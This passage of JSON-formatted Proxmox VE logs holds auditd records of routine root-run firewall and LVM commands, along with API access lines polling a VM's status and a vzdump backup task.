msg=audit(1781965900.934:67586): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7252b60 a1=637ee7242550 a2=637ee7240ef0 a3=8 items=2 ppid=64904 pid=64906 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965065617,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:44 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781965895458,"@rawstring":"node=pve type=EXECVE msg=audit(1781965895.458:67551): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964275601,"@rawstring":"node=pve type=EXECVE msg=audit(1781964275.601:60340): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965635972,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.972:66463): arch=c000003e syscall=59 success=yes exit=0 a0=5d151db20ac8 a1=7ffcba6562d0 a2=5d1532e06680 a3=5d151db0424e items=2 ppid=63832 pid=63834 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965900934,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965900.934:67585): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7254420 a1=637ee7254b40 a2=637ee7240ef0 a3=8 items=2 ppid=64904 pid=64905 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781965064600,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:44 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 775"} {"@timestamp":1781965895450,"@rawstring":"node=pve type=EXECVE msg=audit(1781965895.450:67550): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964275595,"@rawstring":"node=pve type=EXECVE msg=audit(1781964275.595:60339): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965635970,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.970:66462): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcba656290 a1=5d1532e28410 a2=5d1532e06680 a3=5 items=2 ppid=63832 pid=63833 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965900933,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965900.933:67584): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7252f60 a1=637ee7252c30 a2=637ee7257220 a3=8 items=2 ppid=846 pid=64903 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965064600,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:44 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 488"} {"@timestamp":1781965894777,"@rawstring":"node=pve type=EXECVE msg=audit(1781965894.777:67549): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964275588,"@rawstring":"node=pve type=EXECVE msg=audit(1781964275.588:60338): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965635964,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.964:66460): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63832 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965899697,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965899.697:67583): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64902 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965064600,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:43 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965063261&start=0&limit=510 HTTP/1.1\" 200 563"} {"@timestamp":1781965894751,"@rawstring":"node=pve type=EXECVE msg=audit(1781965894.751:67548): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964275581,"@rawstring":"node=pve type=EXECVE msg=audit(1781964275.581:60337): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965635954,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.954:66459): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63831 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965899690,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965899.690:67580): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64901 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965064600,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:43 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 486"} {"@timestamp":1781965894681,"@rawstring":"node=pve type=EXECVE msg=audit(1781965894.681:67547): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964275574,"@rawstring":"node=pve type=EXECVE msg=audit(1781964275.574:60336): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965635945,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.945:66458): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63830 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895609,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.609:67577): arch=c000003e syscall=59 success=yes exit=0 a0=5a4cef6c7b60 a1=5a4cef6d3a70 a2=5a4cef6a1680 a3=5 items=2 ppid=64894 pid=64900 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965064600,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:43 +0100] \"GET /api2/json/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/status HTTP/1.1\" 200 205"} {"@timestamp":1781965894672,"@rawstring":"node=pve type=EXECVE msg=audit(1781965894.672:67544): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964275567,"@rawstring":"node=pve type=EXECVE msg=audit(1781964275.567:60334): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965635937,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.937:66457): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63829 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895606,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.606:67576): arch=c000003e syscall=59 success=yes exit=0 a0=5a4cb30a3ac8 a1=7fff2d2ee810 a2=5a4cef6a1680 a3=5a4cb308724e items=2 ppid=64894 pid=64896 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965063500,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:43 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 771"} {"@timestamp":1781965889663,"@rawstring":"node=pve type=EXECVE msg=audit(1781965889.663:67541): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964275562,"@rawstring":"node=pve type=EXECVE msg=audit(1781964275.562:60333): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965635927,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.927:66456): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63828 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895604,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.604:67575): arch=c000003e syscall=59 success=yes exit=0 a0=7fff2d2ee7d0 a1=5a4cef6c3200 a2=5a4cef6a1680 a3=5 items=2 ppid=64894 pid=64895 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965063500,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:43 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965062486&start=0&limit=510 HTTP/1.1\" 200 570"} {"@timestamp":1781965889655,"@rawstring":"node=pve type=EXECVE msg=audit(1781965889.655:67538): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964275556,"@rawstring":"node=pve type=EXECVE msg=audit(1781964275.556:60332): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965635923,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.923:66455): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=612c7d79a740 items=0 ppid=1156 pid=63827 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965895600,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.600:67573): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64894 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965063500,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:42 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965062253&start=0&limit=510 HTTP/1.1\" 200 565"} {"@timestamp":1781965885437,"@rawstring":"node=pve type=EXECVE msg=audit(1781965885.437:67534): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964275550,"@rawstring":"node=pve type=EXECVE msg=audit(1781964275.550:60331): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965635921,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.921:66454): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc139520 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63827 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895592,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.592:67572): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64893 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965063500,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:42 +0100] \"GET /api2/json/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/status HTTP/1.1\" 200 205"} {"@timestamp":1781965885434,"@rawstring":"node=pve type=EXECVE msg=audit(1781965885.434:67533): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964275544,"@rawstring":"node=pve type=EXECVE msg=audit(1781964275.544:60330): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965635913,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.913:66453): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc146690 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63826 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895583,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.583:67571): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64892 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965062504,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:42 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 773"} {"@timestamp":1781965885433,"@rawstring":"node=pve type=EXECVE msg=audit(1781965885.433:67532): argc=1 a0=\"date\""} {"@timestamp":1781964275538,"@rawstring":"node=pve type=EXECVE msg=audit(1781964275.538:60329): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965635903,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.903:66452): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecb641de20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63825 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895573,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.573:67570): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64891 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965062504,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:41 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965061245&start=0&limit=510 HTTP/1.1\" 200 997"} {"@timestamp":1781965885428,"@rawstring":"node=pve type=EXECVE msg=audit(1781965885.428:67530): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964275531,"@rawstring":"node=pve type=EXECVE msg=audit(1781964275.531:60328): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965635895,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.895:66451): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13bba0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63824 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895556,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.556:67569): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64890 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965062504,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:41 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781965885420,"@rawstring":"node=pve type=EXECVE msg=audit(1781965885.420:67529): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964275524,"@rawstring":"node=pve type=EXECVE msg=audit(1781964275.524:60327): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965635885,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.885:66450): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb641de20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63823 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895552,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.552:67568): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5d81f95e9740 items=0 ppid=1156 pid=64889 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965062504,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:41 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781965885412,"@rawstring":"node=pve type=EXECVE msg=audit(1781965885.412:67528): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964275520,"@rawstring":"node=pve type=EXECVE msg=audit(1781964275.520:60326): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965635878,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.878:66449): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc140890 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63822 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895549,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.549:67567): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0f86e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64889 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965062504,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:41 +0100] \"GET /api2/json/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/status HTTP/1.1\" 200 205"} {"@timestamp":1781965885404,"@rawstring":"node=pve type=EXECVE msg=audit(1781965885.404:67527): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964275517,"@rawstring":"node=pve type=EXECVE msg=audit(1781964275.517:60325): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965635868,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.868:66448): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63821 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895541,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.541:67566): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ed6c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64888 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965061271,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:40 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 481"} {"@timestamp":1781965885396,"@rawstring":"node=pve type=EXECVE msg=audit(1781965885.396:67526): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964275516,"@rawstring":"node=pve type=EXECVE msg=audit(1781964275.516:60324): argc=1 a0=\"date\""} {"@timestamp":1781965635859,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.859:66447): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63820 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895535,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.535:67565): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc12fb70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64887 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965061271,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:40 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965060236&start=0&limit=510 HTTP/1.1\" 200 997"} {"@timestamp":1781965885390,"@rawstring":"node=pve type=EXECVE msg=audit(1781965885.390:67524): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964275512,"@rawstring":"node=pve type=EXECVE msg=audit(1781964275.512:60322): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965635850,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.850:66446): arch=c000003e syscall=59 success=yes exit=0 a0=574bef4e5e50 a1=574bef4e2bd0 a2=574bef4c4680 a3=5 items=2 ppid=63813 pid=63819 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895528,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.528:67564): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64886 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965061271,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:40 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 783"} {"@timestamp":1781965885384,"@rawstring":"node=pve type=EXECVE msg=audit(1781965885.384:67523): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964275505,"@rawstring":"node=pve type=EXECVE msg=audit(1781964275.505:60321): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965635846,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965635.846:66445): arch=c000003e syscall=59 success=yes exit=0 a0=574be3468ac8 a1=7ffda853db00 a2=574bef4c4680 a3=574be344c24e items=2 ppid=63813 pid=63815 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895522,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965895.522:67563): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64885 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965061271,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:40 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 486"} {"@timestamp":1781965885378,"@rawstring":"node=pve type=EXECVE msg=audit(1781965885.378:67522): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964275498,"@rawstring":"node=pve type=EXECVE msg=audit(1781964275.498:60320): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965635845,"@rawstring":"node=pve type=SYSCALL 